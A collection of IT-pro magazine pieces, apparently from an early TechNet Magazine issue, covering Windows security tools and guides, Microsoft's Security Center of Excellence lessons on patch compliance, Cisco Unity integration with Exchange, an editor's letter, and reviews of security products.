We all are familiar with Windows services and TCP ports and the like. (If you're not, then you are probably in marketing and can stop reading. Put down the magazine and slowly walk away from the Network Administrator's office.) Tools like NetStat can tell you which ports are open on a machine, but did you ever wonder exactly which process is listening on what port or whether it was a process at all? Check out the new Port Reporter at support.microsoft.com/?id=837243. The tool logs TCP and UDP port activity and provides you with a useful logfile.
The newly released Port Reporter Parser tool can help you quickly scan through these logfiles. It is a GUI-based tool that can scan based on IP addresses, ports, services, user accounts, host names, and so on. This is great for doing things like computer forensics and incident response or for just proving that you're right to a bunch of marketing people.

Security Events
Microsoft spent a lot of money getting the security message out to the IT pro community. In five months, we've reached more than 500,000 IT pros worldwide. We've done summits, roadshows, forums, briefings, webcasts, and eLearning. We plan on continuing our security push well into next year. Be sure to check out the live shows, but if we miss your town or if you miss us while we're in town, then catch the security webcasts. There's no excuse for not getting this info! (Trust me—we'll have you home by 4:00 PM.)
For more information on Microsoft security events, see Security Events & Webcasts.

Windows XP and Windows Server 2003 Security
Finally, I need to mention some of the excellent security guides and whitepapers that have been assembled by some of the smartest guys I know. These docs contain a wealth of knowledge and answers to almost every Windows-based security configuration question I get. The Windows XP Security Guide contains detailed information on security settings in Group Policy ("What the heck is the difference between Audit Account Logon versus Audit Logon?"), securing standalone clients, and how to configure a Software Restriction Policy ("They'll never play solitaire again! Bwahahaha!"). Not only does the Guide discuss these things, it provides templates, checklists, scripts, and so on to assist you in rolling it out. The guide has been updated to include Windows XP SP2-related material, so go get this today! (Or send your junior admin to get it... they enjoy that sort of stuff.)
The Windows Server 2003 Security Guide outlines best practices for configuring your domain infrastructure as well as specifics on setting up your IIS, file, print, IAS, and infrastructure servers. It provides a stack of templates and tools that pertain directly to servers (and everyone loves servers). You will definitely want to get these guides!

Windows XP SP2
I'm sure that by now you've already tested and diligently loaded Windows XP SP2 onto all your clients. So let's move on... just kidding. I realize from talking with many of you in the field that many of you are still in the testing process (testing is good!), but unfortunately you cannot sit back and not deploy SP2 simply because it causes the "Sr. Executive Golf Score Tracking Tool" to hiccup. At some point, you need to get patches out of the lab and into production. Remember, you're in a race with all those malicious worm and virus writers, so test and move! This is especially important with Windows XP SP2 since it offers some really amazing advances in browser safety, network protection, memory protection, and safer e-mail handling, among other things. If you're concerned that your corporate customers will get this through Automatic Update before you can test it, Microsoft has actually provided a tool that will block SP2 deployment via Automatic Update until April 12, 2005. That buys you an additional six months of testing time! That tool is available at Temporarily Disabling Delivery of Windows XP Service Pack 2 Through Windows Update and Automatic Updates.
So don't just test it, deploy it! Your users will thank you (which, as we all know, is a rare experience). You can then get back to more important things, like figuring out exactly how many 20,000 RPM SCSI drives you'll need to hold all of your vacation pictures. For more info on Windows XP SP2, visit Windows XP Service Pack 2 Resources for IT Professionals.


 : Five Lessons From The Microsoft Security Center Of Excellence
Security: Beyond The Basics Aaron Turner

Five Lessons From The Microsoft Security Center Of Excellence
At a Glance:
  • Responding to automated self-progating worms
  • Improving system design and maintenance for better security
  • Measuring and enforcing compliance
SCOE
SLAs
Compliance

The Microsoft Security Center of Excellence (SCOE) assists Microsoft enterprise customers in establishing secure network environments by providing accurate and implementable guidance and tactical expertise for real-world security challenges.
The SCOE collaborates with customers, partners, industry, and other teams at Microsoft to increase awareness, foster innovation, and expand its reach of support on security topics.
Since the Slammer and Blaster worms hit in 2003, members of the SCOE have worked with many Microsoft corporate customers, dealing with difficult security problems. To put the problems in perspective, it's important to understand how Microsoft and our customers arrived in the situation that we found ourselves in last year.

A Little History
Five years ago, there was a strong push by our enterprise customers to achieve the highest levels of availability possible on Windows®-based systems. This effort, combined with the improvements in Windows 2000, resulted in a major shift toward actual availability targets. To support these targets, IT departments created Service Level Agreements (SLAs) for their Windows-based systems and worked diligently to document the level of availability that users could expect from their servers and workstations that run Windows. As Windows 2000 technology matured, along with the continual drive for efficiency in enterprise IT operations, Windows operating systems became mission-critical for many Microsoft customers.
For Microsoft customers SLAs were also the catalyst that let them see IT as a cost that could be outsourced. This resulted in many companies investigating alternative options to drive efficiency. The mission-critical nature of Windows operating systems, combined with the increased expectation for availability and the push toward outsourcing, created an odd situation where the secure design, deployment, and maintenance of Windows systems were often an afterthought. Even then security was often viewed as an impediment, especially by those in the eBusiness space.
In July 2001, the Code Red virus was unleashed, followed by Slammer, Blaster, and the recent Sasser worms. The advent of automated, self-propagating worms that could exploit vulnerabilities in unprotected and unpatched systems wreaked havoc on many business networks. What is most interesting about these worms is that in every large-scale worm scenario, the technology existed to prevent the worms from succeeding. The worms generally spread due to process failures. In every case where customers were not impacted by these worms, their resiliency can be attributed to a robust IT security program that focuses on process rather than on technology.
Note that OS vulnerabilities have been exploited for a long time, but the wide acceptance of Windows as an enterprise platform and the advent of the Internet caught Microsoft in the cross hairs. It also served as a wake-up call to anyone working with Windows operating systems. Companies realized they had sacrificed security for the sake of convenient networking.
For customers at Microsoft, the repercussions of Code Red spurred many of the security-related improvements that were seen in Service Pack 3 for Windows 2000, Service Pack 1 for Windows XP, and the secure-by-default design of Windows Server 2003. The consequences of worm-related security incidents served as a rallying point for many security professionals. Unfortunately, for those working with Windows operating systems, it took events on the scale of these insidious viruses to call attention to the importance of secure system design, deployment, and maintenance.
Those of us focused on security at Microsoft know that the root cause of Blaster and other worms targeting Microsoft applications is software vulnerabilities. At the same time, we have learned from our own internal Microsoft IT organization, as well as from customers who have dedicated time and talent to exploring the risks posed by security incidents, that software-based vulnerabilities can be mitigated through an effective IT security program. Here are some of the lessons.

1. Identify and Classify Assets
The principles of security risk management have been recognized since the earliest days of mainframe computing. A simple inventory is a great place to start to determine exactly which systems exist and how they are connected to your network. There are several ways to perform an inventory. They include the use of rudimentary network scanning tools, complex log revision techniques using information in Active Directory®, Dynamic Host Configuration Protocol (DHCP), DNS servers, and using dedicated systems management tools.
It's important to note that in nearly every catastrophic incident that affected our business customers, the problem was not caused by a managed system but was introduced by a system outside of the IT group's control. It is imperative to create a process where you can quickly and effectively verify which systems are under your control, and then identify any unmanaged systems. The identification of these systems generally represents the most difficult task for the IT staff to accomplish, but it is a necessary effort.
Several Microsoft customers that successfully identified their unmanaged systems relied on a tightly integrated virtual team composed of members from IT operations and the networking group.
To begin, the IT operations staff requested that the networking team identify all IP addresses in use on the company's networks. The IT team then began subtracting known IP addresses of managed systems from the list. The resulting set of IPs were not accounted for and thus identified the systems that needed to be addressed first. After all systems were identified, they were classified into subgroups to make them more manageable. The first step was separating the managed and the unmanaged.
Subgroups were defined based on a system's role, its location, or other attributes that couldn't be consolidated to eliminate the unwieldy problem of attempting to secure each individual system.

2. Establish Asset Ownership
Usually the asset owner is either the system administrator or the support group tasked with system maintenance. In the SCOE's experience, a successful IT asset ownership assignment rarely results in an IT staff member being assigned as the person responsible for system maintenance. Crossing the boundary from IT staff to business group ownership and responsibility for IT systems marks the beginning of a successful ownership assignment program. Based on experience, most IT professionals can easily identify examples where a line-of-business (LOB) application served as a blocker to deploying a critical system update. Shifting the responsibility of securing the IT asset that relies on the system to the business group is an important step in ensuring the success of this process.
Key Lessons
For IT professionals, the central principles of any effective program designed to manage the risk associated with software-based vulnerabilities are:
1 Identify and classify assets

2 Establish asset ownership

3 Define baseline system requirements

4 Measure compliance

5 Enforce compliance

Microsoft, like most large global organizations, found a situation where business owners would resist system updates. At one point, there were possibly thousands of our internal systems that could not be properly secured or maintained because of the reluctance to stop services long enough to change security settings or perform system updates. Over time, these exceptions were reduced to hundreds, and eventually reduced to tens. Currently a business-group exception for a system must be escalated to the highest levels of a business unit in order to be approved.
Creating a Responsible, Accountable, Consulted, Informed (RACI) matrix for assets is another great exercise in assuring that assets are properly accounted for and key stakeholders identified. Integrating this information into a Configuration Management Database (CMDB) results in a very powerful data set that can help IT staff and business leaders make informed decisions about when to force the issue of updating a particular system or establishing improved system maintenance processes for line of business applications.

3. Define Baseline System Requirements
Many IT professionals work in companies that have clearly written security policies, but relatively few confirm that those policies are applied uniformly on production systems. The alignment between security policies, system build standards, and actual implementation is extremely important. The key requirements that need to be identified can be information such as required settings, required software and services, and required updates. There must also be key prohibitions that outline what is not an acceptable configuration.
As with asset ownership, accountability and responsibility for the baseline system requirements should lie with the business group that relies on the IT system. If exceptions are sought, each business group should follow a process to ensure that the appropriate risk is analyzed and communicated to all participants and business leaders before they are granted.
However, this should not be interpreted to mean that the only solution is the default model for system builds. Within Microsoft, we have standardized builds that employees may use for their workstations, but anyone can install other platforms or versions of software. The onus is then placed on the user to assure that the system meets established baseline requirements for configuration settings, required software (such as antivirus protection), and that required updates are installed. Flexibility is possible, but should only be allowed within a carefully monitored and maintained environment.

4. Measure Compliance
In the experience of SCOE, effective security programs for large businesses rely on an automated toolset for the reporting of managed-system configuration status, the identification of unmanaged systems, and the mapping of each system to an appropriate business owner who is ultimately responsible for the system's adherence to the established system baseline. As with any complex process, measuring compliance requires periodic audits with formal targets to monitor the effectiveness of the program. The reports should officially serve as an indication of a company's IT health in addition to a warning light, helping those responsible for IT systems make informed decisions about systems at greatest risk, and which baseline settings are inconsistent with the baseline system configuration.

5. Enforce Compliance
In the IT culture that predominated before the appearance of automated worms, the thought of "pulling the plug" on any business-critical system would have been considered heretical. When businesses focused more on availability than robustness, shutting down an LOB server to electively bolster security, would result in a lot of flak. Heaven forbid if a CEO's laptop temporarily lost connectivity due to maintenance, and he could not read e-mail.
The SCOE handled just such a case recently with a customer. In a follow-up meeting with the customer's IT staff, there were tense moments when the customer's CEO expressed his frustration about being unable to connect to the intranet while technicians worked on resolving the problem. However, after reading the news headlines the next day about the impact of the same virus on several of his company's competitors, he appreciated that his business had been protected by the procedures that he had cursed the day before.
The benefits of enforcing security policies and assuring adherence to baseline standards may not always be apparent, but with relatively few exceptions, new security processes have improved IT departments and changed how they are perceived and used within large organizations.

Securing Your Environment
A myriad of technologies exist to help you protect your environments, but without a robust procedure to ensure the integrity of systems connected to your networks, none will be effective.
Working toward the establishment of a well-managed IT environment takes discipline and consistency. The Security Center of Excellence is committed to sharing with all of our customers the lessons that we learn from our own experiences, as well as the best practices that we prove within our internal IT environments. For more information on security for Microsoft systems, talk with your Microsoft relationship manager or visit the Microsoft security Web pages at Microsoft Security Home Page.

Aaron Turner is the Microsoft Security Center of Excellence Delivery Manager, and works with Microsoft Services to coordinate security consulting activities around the world. He has worked with customers of all sizes to develop effective IT security programs.


 Voice Mail In Your Inbox: Voice Mail In Your Inbox: Cisco Unity And Microsoft Exchange Make It Happen
Integration Jeff Centimano

Voice Mail In Your Inbox: Cisco Unity And Microsoft Exchange Make It Happen
At a Glance:
  • Setting up Cisco Unity voice mail features
  • Integrating Unity with Microsoft Exchange
  • Planning an integrated voice mail deployment
Microsoft Exchange
Cisco Unity
Active Directory

We've been hearing about voice/data convergence for several years now. Many organizations have taken the leap to reduce long-distance phone charges between offices, most often in the form of voice over Frame Relay (or similar transport).
However, up-front costs, long private branch exchange (PBX) leases, and general resistance from those more comfortable with traditional voice services have slowed desktop IP telephony deployments. As compelling as a fully converged network may be, most businesses are not yet ready to commit.
One converged technology that should not be overlooked is unified messaging. This can take several forms, but is most often thought of by its end result voice mail and fax messages in a user's e-mail Inbox. An organization need not deploy a full IP telephony infrastructure to take advantage of unified messaging.

Introducing Unified Messaging and Cisco Unity
Simply put, unified messaging is the storage of multiple forms of communication in one central location. From this central location, messages can be retrieved and manipulated in nontraditional ways. For example, think about checking your e-mail and finding a voice message from an important client. Imagine being on the road and having your e-mail messages read to you in order of urgency. Consider retrieving a fax message by redirecting it to a fax machine at your hotel business center. All of these scenarios and more are possible with a unified messaging system.
One of the premier unified messaging products is Cisco Unity. Cisco acquired Unity from Active Voice in 2000 in order to add a voice mail solution to Cisco's suite of IP communication products. Since that acquisition, Unity has seen a series of upgrades and improvements. Currently at version 4.0, Cisco Unity excels in delivering advanced voice messaging services and can interface with Microsoft® Exchange versions 5.5, 2000, and 2003, as well as with Lotus Domino.
Even though Unity is tightly integrated with other Cisco IP telephony products, it does not have a dependency on IP telephony and can be deployed in traditional PBX environments. An administrator simply needs to install one or more Intel Dialogic voice cards in the Unity server to allow it to communicate with the existing PBX. Cisco's Web site, provides step-by-step guides for integrating Unity with various vendor systems.
Unity comes in two flavors: Unity Voice Mail and Unity Unified Messaging. Since Unity Voice Mail is a standalone product that does not integrate with other e-mail systems, I will not cover it here.

Cisco Unity and Microsoft Integration Points
Cisco Unity requires several important Microsoft technologies in order to function. At first glance, the implementation of Unity may appear daunting. For starters, the product extends Active Directory® with custom schema extensions, binds itself to a Global Catalog server, and requires robust name resolution services. These requirements alone should indicate the importance of thorough planning.
Unity needs to extend three Active Directory schema classes (User, Group, and Contact) and create a new class of its own—the Unity Location class. The Unity installation CD contains an application called ADSchemaSetup that imports the necessary .ldf files into Active Directory.
Cisco provides excellent documentation on the exact number of schema extensions as well as on the potential impact on your Active Directory database size. For example, Cisco records and stores each user's spoken name in Active Directory. Depending on the codec you choose for audio compression, this could be 20KB per user. (See the "Codecs" sidebar for further information.)
Cisco recommends that you plan for a 10-15 percent increase in the size of your Active Directory database after implementing Unity. If you are one of those people who enjoy running ADSIEDIT every now and then, you will appreciate Cisco's naming standard: all attributes start with "cisco". Keep in mind that the Cisco schema extensions should only be run after Active Directory has been updated for Exchange 2000 or 2003 (forestprep). For more information about making this process as seamless as possible, see "15 Tips For A Smooth Migration to Exchange Server 2003" in this issue of TechNet Magazine.
Unity also needs a well-configured Active Directory replication topology for reliable operation. Unity uses Active Directory much like Exchange does, and that means that the Global Catalog server is of utmost importance. Unlike Exchange, which can tolerate the loss of a "favorite" Global Catalog or directory server, Unity must be manually reconfigured in such a situation. This is a relatively minor point if you know about it ahead of time, but it could cost you hours of troubleshooting otherwise.

Data Storage
While we are on the subject of Active Directory, it is important to note that while Unity requires Active Directory for numerous operations, it does not query the Active Directory database as often as you might think. Unity instead stores most of the information about subscriber mailboxes and system configuration in its own SQL database. This is stored locally on the Unity server, and only relevant portions are synchronized with Active Directory using a Cisco-supplied replication agent.
Codecs
To use Unity, you'll have to choose a compression codec. A codec is a compression scheme that handles compression/decompression of large files to minimize bandwidth and storage requirements. Cisco Unity supports a number of different codecs for compressing voice messages, with G.711 and G.729a among the most popular.
G.711 is often considered the standard audio codec, since it is used on the public switched telephone network (PSTN) and in many traditional PBXs. G.711 provides excellent voice quality while offering modest compression over raw audio files.
G.729a is a more advanced codec that offers incredible compression while incurring only limited sound-quality degradation. Most casual users cannot tell the difference between these two codecs, though you might find that audiophiles may complain of slight distortions in G.729a compressed audio.
A simple comparison of a one-minute voice message using each codec yielded these results for me: using G.711, the message file size was 480KB; using G.729a, the same message had a file size of only 60KB.
There are many factors to consider when choosing an appropriate audio codec. One of the most important factors when integrating Unity with Exchange is Exchange's mailbox storage limits. The Exchange information store treats Unity messages the same as other messages, meaning that users who exceed their storage limits may be unable to receive voice messages. If you have restrictive storage limits for your users due to server consolidation or hardware limits, G.729a may be your best choice.

Cisco decided upon this strategy for multiple reasons, the most important being the fault-tolerant nature of maintaining a local database. Imagine a scenario where your Exchange or Active Directory servers are down for maintenance. While you might be able to warn internal users about an impending outage, there is nothing to stop an outside caller from leaving a message for a company employee. In this situation, the Unity server has enough information about the employee's mailbox to accept the message and store it until the Exchange or Active Directory servers are back online.
The flavor of SQL used by Unity is primarily dependent on the number of voice ports deployed. If your Unity server has 32 or fewer voice ports, then Unity will configure a local MSDE 2000 database. If it has more than 32 ports or a failover configuration is required, Unity will install a local copy of SQL Server™ 2000. This installation on the Unity server is only intended to support Unity; any other usage violates the terms of the Unity license agreement.
Another integration point is Unity's use of DNS and WINS. To communicate with your Exchange and Active Directory servers, the Unity server must be pointed to the dynamic DNS servers that support your Active Directory environment. Unity can then query for service records (SRV) of relevant directory servers in the enterprise. WINS is required for environments still running Windows NT® domains, although it is also highly recommended for Active Directory environments.
Unity puts a real-time load on an Exchange infrastructure, so the performance of your Exchange infrastructure is something else to consider even before adding Unity to the mix. Unlike e-mail where delays are often acceptable, a big delay (such as silence) when a user calls in to receive their voicemail can give a user the impression that the messaging system is broken. Thus, you should run the Exchange performance tools to see how the system is responding. If you see log stalls, poor disk performance, or high CPU usage, you may want to upgrade the servers, add memory, or look at alternative storage options.
This evaluation process should be performed on each Exchange server, depending on the mail policies in place, as the performance from server to server may vary quite a bit. Mail policies, or the lack thereof, can have a big effect on the performance of Exchange servers. Given the way that Unity indexes messages in a user's Inbox, a large Inbox can be problematic. Without mail policies in place, Exchange performance may not be deterministic.
You should also keep in mind that Cisco typically sells to the voice and telecom IT pros. As Exchange is usually managed by the server and application IT pros, you can run into a train wreck if these departments don't talk. Make sure they do.

Outlook and Voice Mail Integration
The final integration point I will discuss in this article is the client-side component known as Unity ViewMail for Outlook® (VMO). ViewMail is used to present a voice mail playback applet inside e-mails that contain a voice message. The ViewMail playback control panel is shown in Figure 1.
Figure 1 The ViewMail Playback Control
Figure 1 The ViewMail Playback Control
Using the playback controls, a user can play, pause, increase or decrease volume, and adjust the speed of a message. The ability to speed up or slow down a voice message with the click of a mouse is a powerful feature and one that I use frequently, especially for long messages or a message that I need to hear more slowly. Even at the maximum compression settings, the voice quality remains amazingly good.
While Outlook can play voice messages without using ViewMail, the experience is much less robust. A user who checks her e-mail from a version of Outlook without ViewMail must click on the attached WAV file and listen to it played back in the system default media player. This method works just fine, but does not offer the rich functionality of ViewMail. Also, when you use the ViewMail controls to play a voice message, the data is streamed over the network instead of the "download and play" experience of a WAV file.
ViewMail comes packaged as a Microsoft Installer file that lends itself to deployment via Active Directory Group Policy or Systems Management Server (SMS). Alternatively, this small application can be packaged and deployed simultaneously with a new install of Office 2003 using the Office 2003 Resource Kit. Regardless of how you deploy ViewMail, it will surely become a welcome addition to Outlook.

Unity Deployment: Real World Experience
My company deployed Cisco Unity earlier this year as part of a full desktop IP telephony upgrade. Having been involved in the deployment, and now living with the technology on a daily basis, I feel qualified to offer some useful suggestions for your Unity implementation.
The planning phase is arguably the most important in any project, Unity included. As in carpentry, a good rule of thumb is to measure twice, cut once.
Depending on the size of your organization, Unity may bring together teams that otherwise might not work together: the Telco team, the Active Directory team, and the Exchange team. Cisco publishes an excellent "Unity Design Guide" that covers topics such as how Unity works, PBX integration, Windows domain considerations, and even how to construct an RS-232 Cable (needed to interface with many PBXs). I recommend making this document the foundation of your implementation and ensuring that all team members have a thorough understanding of its contents.
Another priority project component is training. The IT staff will need training on how to administer the new system, although it is surprisingly intuitive for first-time users. I would also suggest a round of training with the user community.
Unity offers an amazing array of features that may be overlooked if users are not trained on how to use the new system. It is particularly important to train users on the Cisco Personal Communications Assistant Web console, whose main screen is shown in Figure 2.
Figure 2 Cisco Unity Personal Communications Assistant
Figure 2 Cisco Unity Personal Communications Assistant
From this console, users can access a wide array of features that would otherwise require navigating a complex set of phone menus. Educating users on this interface will enable them to take advantage of advanced unified messaging features while also reducing unnecessary help desk calls.
One of my favorite Unity features is text-to-speech (TTS). This feature allows me to call my office remotely and listen to my e-mail messages, which saves both time and money trying to find wireless hotspots to synchronize e-mail.
One unintended consequence of TTS is the comic relief it provides when it reads some of those obnoxious spam messages (you know the ones I am referring to). While this may be funny to most people, it may offend a few, which is one more reason to step up your anti-spam efforts. If you have not done so already, I would recommend investigating the Microsoft Intelligent Message Filter for Exchange Server 2003. This product is available at no charge to organizations running Exchange Server 2003, and does an excellent job of blocking nearly all unwanted spam messages with very few false-positives.
Another Unity feature that complements TTS is the ability to reply with a voice message to an e-mail. I commonly reply over the phone to e-mail messages read to me by the Unity TTS feature. This capability extends to non-Unity users as well, with the recipient receiving the voice message as a WAV file attachment.
One missing link in this feature is the ability to insert a brief statement into a reply message to alert the recipient that the actual message is contained in the attached WAV file. The current version of Unity simply delivers the original message as is, with the only addition being a WAV file attachment. Users not expecting this type of reply may be confused and delete the message, thinking it was left in error. I hope that Cisco will address this shortcoming in a future release of Unity. Until that time, include this tidbit in your user training to head off potential problems.
Finally, a robust Unity backup and restore design is of utmost importance given the value most businesses place on voice messages. Cisco includes a utility called Cisco Unity Disaster Recovery Tool (known as DiRT) that is designed to aid in migrations from one version of Unity to another. While this utility can be used for daily backup and restore activities, Cisco recommends that you invest in additional software for this purpose. To fully protect the Unity server, you will need to acquire software agents to back up both the Windows OS and the SQL Server 2000 database.
If a full server failure occurs, be sure to hang on to the network interface card (NIC) from the failed server. This is because the Unity license is tied to the MAC address on the NIC in your original server. If the original NIC is embedded on the system board or cannot be moved for some other reason, allow time to contact Cisco and have them reissue a license key for the replacement server. This scenario should be included in the Unity recovery section in your Disaster Recovery documentation.

Conclusion
Being able to check e-mail, voice mail, and faxes from anywhere on any device is a powerful capability, one which I cannot imagine living without. If you would like to learn more about deploying Unity within your organization, Cisco maintains a wealth of marketing and technical information on their Web site at Cisco Unity.

Jeff Centimano is a Principal Consultant for Levi, Ray & Shoup, Inc. LRS is a Microsoft Gold Partner and a Cisco Silver Partner. Jeff has been an IT consultant for 10 years and specializes in Microsoft directory and messaging technologies.


 From the Editor:
From The Editor

It is with great pride that we present to you the inaugural issue of TechNet Magazine, the Microsoft journal for IT pros. Our goal is simple: we want to be your best source for in-depth technical information about how you can best use Microsoft tools and technologies in your IT job.
We serve the technical IT professional. The term "IT pro" covers a wide range of job functions, from the CIO to the network administrator to the administrative assistant responsible for resetting the laser printer down the hall. TechNet Magazine focuses on the technical core of the IT worker. For those of you working on applications and line-of-business products, we will feature real-world solutions, SQL Server, Exchange, and other tools. Do you specialize in network infrastructure? Every issue of TechNet Magazine will discuss Windows networking and Active Directory, and will remove some of the mystery behind them. Perhaps you administer 5,000 desktops and need to get security updates out to them. Our deployment coverage is for you.
We have unique content from Microsoft and well-known external authors. Microsoft security response has had a mixed reputation in the past, but I can tell you that there's no other company with as many resources dedicated to software security. When I first discussed the magazine with our security response teams earlier this year, we got a flood of great info. The articles we present here, written by Microsoft and external professionals, represent our commitment to security.
Every article in TechNet Magazine will help you do your job better. The premiere issue, which you are now holding, focuses on security from an IT perspective. If you're an IT pro, you understand how important security has become in your job. The best way to keep your site safe is to know the dangers you face, how to prevent them, and how to respond to them. Our security focus in this issue is split into three categories: hacking, cross-platform security, and beyond the basics. If you pick any article in the magazine, you'll come away with new tools to do your job.
We don't shy away from cross-platform coverage. We understand that it is the rare enterprise configuration that includes a single-vendor solution in all areas. TechNet Magazine has been founded to assist, not evangelize. In this issue, we show you how to deploy Kerberos across Windows and UNIX, how to make Apple Macs talk to Active Directory, and how to deploy Cisco Unity with Microsoft Exchange.
We are dedicated to content. Like our sister publication, MSDN Magazine, we provide at least 80 pages of real content in this and future issues. It's the only way we can begin to cover all the topics that can help you at work.
The magazine is a benefit of the Microsoft TechNet program. TechNet is undergoing a revitalization this year. If you're a TechNet subscriber in the United States, you are eligible for a free subscription to TechNet Magazine. If not, you can still get all of our content online at www.technetmagazine.com. No paid wall, just great content.
We want to hear from you. Drop us a line at tnmag@microsoft.com. Tell us what you want to see in future issues of TechNet Magazine, how we've helped you, and what you liked. You're our best partner in this venture, and we're all ears.—J.T.

Thanks to the following Microsoft technical experts for their help with this issue: Lauren Antonoff, Norm Barber, Mary Browning, Charlie Chung, Steve Dodson, Ramsey Dow, Eric Fitzgerald, Ken Henderson, Joshua Hoffman, Kamal Janardhan, Jesper Johansson, Dan Longley, Laura Machado de Wright, Vikas Malhotra, Simon Marks, David Mowers, Michael Murgolo, Paul Thomsen, Angela Pan, Ben Smith, Michael Stowe, and George Swiger

Active Directory, ActiveX, BackOffice, BizTalk, FrontPage, Microsoft, MSDN, MSN, Outlook, PowerPoint, SharePoint, Visual Basic, Windows, Windows NT, and Windows Server are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. Other trademarks or trade names mentioned herein are the property of their respective owners.

Microsoft Corporation makes no representation or warranty, express or implied, with respect to any code or other information herein, and disclaims any liability whatsoever for any use of such code or other information.


 Toolbox: New Products For IT Professionals
Toolbox
New Products For IT Professionals
Marnie Hutcheson

Eliminate Application-Level Vulnerabilities
Automated Application-Level Inspection Services
www.reasoning.com
Security Inspection Service from Reasoning Inc., a provider of automated software inspection services that focus on C, C++, and Java-language apps, searches for security vulnerabilities that are the root cause for the majority of CERT Advisories, including buffer overflows, tainted data, race conditions, and risky operations. This includes finding defects that have not yet been exploited, reported to the security community, or that have known signatures. Static analysis can access 100 percent of the code and examine it for the structural defects that hackers are exploiting.
Once the security inspection is complete, Reasoning provides the customer with a report of the analysis and the offending code complete with the pre-conditions. The development team can then focus on fixing the vulnerability as quickly as possible. The service does not require expensive and time-consuming test case creation, validation, maintenance, and processes. Reasoning can normally perform this service in two weeks or less. The process allows vulnerabilities to be removed early without additional staff, training, or resources.
Price: Based on the number of lines of code to be analyzed and the depth of analysis.

Test Your Web Apps
www.ecyware.com
GreenBlue Inspector by Ecyware is an integrated Web application analyzer. It provides you with a compact but potent test platform for finding and documenting Web application vulnerabilities. The interface uses an integrated Web browser control and works just like a browser—a browser on steroids that lets you get under the hood and behind the scenes to view and modify browser requests, cookies, headers, and forms data. You can then analyze and document what comes back from the app and the Web server.
I like this product and I want one of my own. Few application test efforts are equipped with such an easy to use, versatile test engine. And with so many tools packed into such a small container!
The tool collects the headers, cookies, and form data in a session record that you can modify, with data and test insertions, and then replay. You can analyze the Web site application and server responses to your testing using handy reports, or you can record your test session for deeper analysis coverage and documentation.
The main workspace gives you three views of the page you are testing. It lets you see the page as it is displayed in the browser, you can view the HTML source, or you can use the forms view. Forms view gives you an editable hierarchical view of the forms on the application page. You can edit the source and change the values of virtually every field on a page. At the same time, you can follow your session steps using the event console, record your session, view and modify request and response headers, and cookies. You can use the Quick Tests page to see the effect of SQL injections, modified source code, and buffer overflows on the application you are testing. GreenBlue Inspector is implemented in 100 percent .NET managed code.
Price: A single IP address license is $895 and can be installed on multiple machines.

Personal Security Tools and Gadgets
Protect Data in Your Workstation
www.encryptasoft.com
The Encryption Suite by Encryptasoft is a collection of three encryption tools—EncryptAccount, EncryptaNote, EncryptaFile—that are designed to protect sensitive data in your workstation.
EncryptAccount is a password manager that lets you store all of your user names and passwords for easy access using one master password. You can copy and paste the appropriate user name and password straight from EncryptAccount to the Web site login page. When it's minimized, EncryptAccount sits in your SysTray (next to the system clock) for quick access.
EncryptaNote allows you to encrypt and decrypt password-protected text messages, which is especially useful in e-mails and instant messages that are normally transmitted in cleartext.
EncryptaFile allows you to encrypt and decrypt files anywhere on your computer (including removable media and network-connected drives). The Encrypt or Decrypt options are available in the right-click menu in the Windows® File Explorer or via a simple to use interface that is similar in appearance to Windows Explorer.
The Encryption Suite is built on the Microsoft® .NET Framework.
Price: A 30-day free trial is available for download. The entire suite sells for $19.95 online.

Embed Hidden Messages in Media Files
www.directlogic.com
Secret Media, by Direct Logic Systems, allows you to embed password-protected hidden messages in otherwise normal audio and video media files such as JPG, MP3, and WMA. The hidden messages are undetectable when viewing or playing these files. It has an easy-to-use wizard-style user interface that lets you create and view your password-protected hidden messages. It works with Windows 95, Windows 98, Windows 2000, Windows Me, and also Windows XP.
Price: $19.99.

Personal Security Database
www.passwords-lines.com
The Passwords-Lines database provides encrypted storage and easy-to-find solutions to two personal security issues. One is provided by Passwords, which allows you to save your passwords along with a rich set of information related to the password (for example, what it goes to—the bank, my e-mail account, and so on). The other is provided by Lines, which allows you to save and retrieve data relating to things like college loans, credit cards, insurance, investments, leases, mortgages, and so forth. Both Passwords and Lines interact with each other in this encrypted relational database.
Price: A 30-day free trial is available for download. A license for two computers is available for $19.90.

Book Review
www.syngress.com
Security Sage's Guide to Hardening the Network Infrastructure (Syngress Publishing) is billed as the first book to focus exclusively on how hackers exploit the "nuts and bolts" of computer networks.
I like this book! It's not only a best practice how-to guide, it's also a handy reference that offers lots of examples and solutions on every topic it covers. In addition, it's useful for both novice and seasoned practitioners.
The sages (the book has multiple authors/contributors) really lay it out in simple and understandable terms. The early chapters focus on defining the network perimeter and assessing your current security status. Then they discuss secure network components: firewalls, routers, protocols, network management, switching, and other related topics. The later chapters focus on defense: threat detection and hardening the design of the network and its components with software, hardware, and physical security procedures.
Chapters covering specific components discuss the component in general, possible attacks, and how to defend against them. Then the authors go on to present examples of vendor products. The book does not present a comprehensive guide to products of any particular type, but there are candid discussions of specific vendor products in most topics. Topics include features and vulnerabilities, security weaknesses to be patched, and patches to be applied.
The book presents lots of examples on how to plan and implement security procedures throughout the network. Real-world examples abound.
Also, they discuss tools, both software and hardware, to help you secure, monitor, and defend your network. They typically start with shareware and move on to commercial products. There are lots of explanatory diagrams, product screen shots, and good examples of what things are and how they work, what they cost, and anything else that is pertinent. Each chapter includes additional resource links, checklists, and frequently asked questions sections. All that, and a good read too.
Price: $59.95

Protect Workstations and Servers
System Access Control Utility
www.e-motional.com
Transparent Screen Lock PRO 3.5, a system access control utility from e-motional.com, enables IT pros to secure their workstations or servers with password protection while viewing programs that are running in the background.
Transparent Screen Lock PRO 3.5 supports optional USB proximity sensor hardware that can be used to automatically lock the system when the user steps away and reactivates it to display TSL-PRO's password-protected logon screen when a user approaches. The proximity sensor hardware option is less than two square inches and can be mounted on a monitor port.
Transparent Screen Lock PRO is ideal for facilities that must ensure compliance to the 21 CFR Part 11 code of U.S. federal regulations. It supports Windows NT, Windows 2000, Windows XP, and Windows Server™ 2003.
Price: $24.95 for a single-user license of the base version and $49.95 for the PRO version. Site licenses and volume discounts are available. A free trial version is available. The proximity sensor hardware option is $129.00.

Proactive Defense Against Hackers and Malicious Software
www.softsphere.com
Anti-Cracker Shield by SoftSphere Technologies protects your entire system, including software apps, network settings, browsers, e-mail components, and the operating system itself. When a problem is found, the program informs the user and suggests how to fix it. Both workstation and server versions are available.
The Anti-Cracker Shield workstation provides proactive protection against attacks on the OS, including DDoS and spam-machine attacks. The server version works with several popular servers and allows a system administrator to specify which particular processes need to be fully protected.
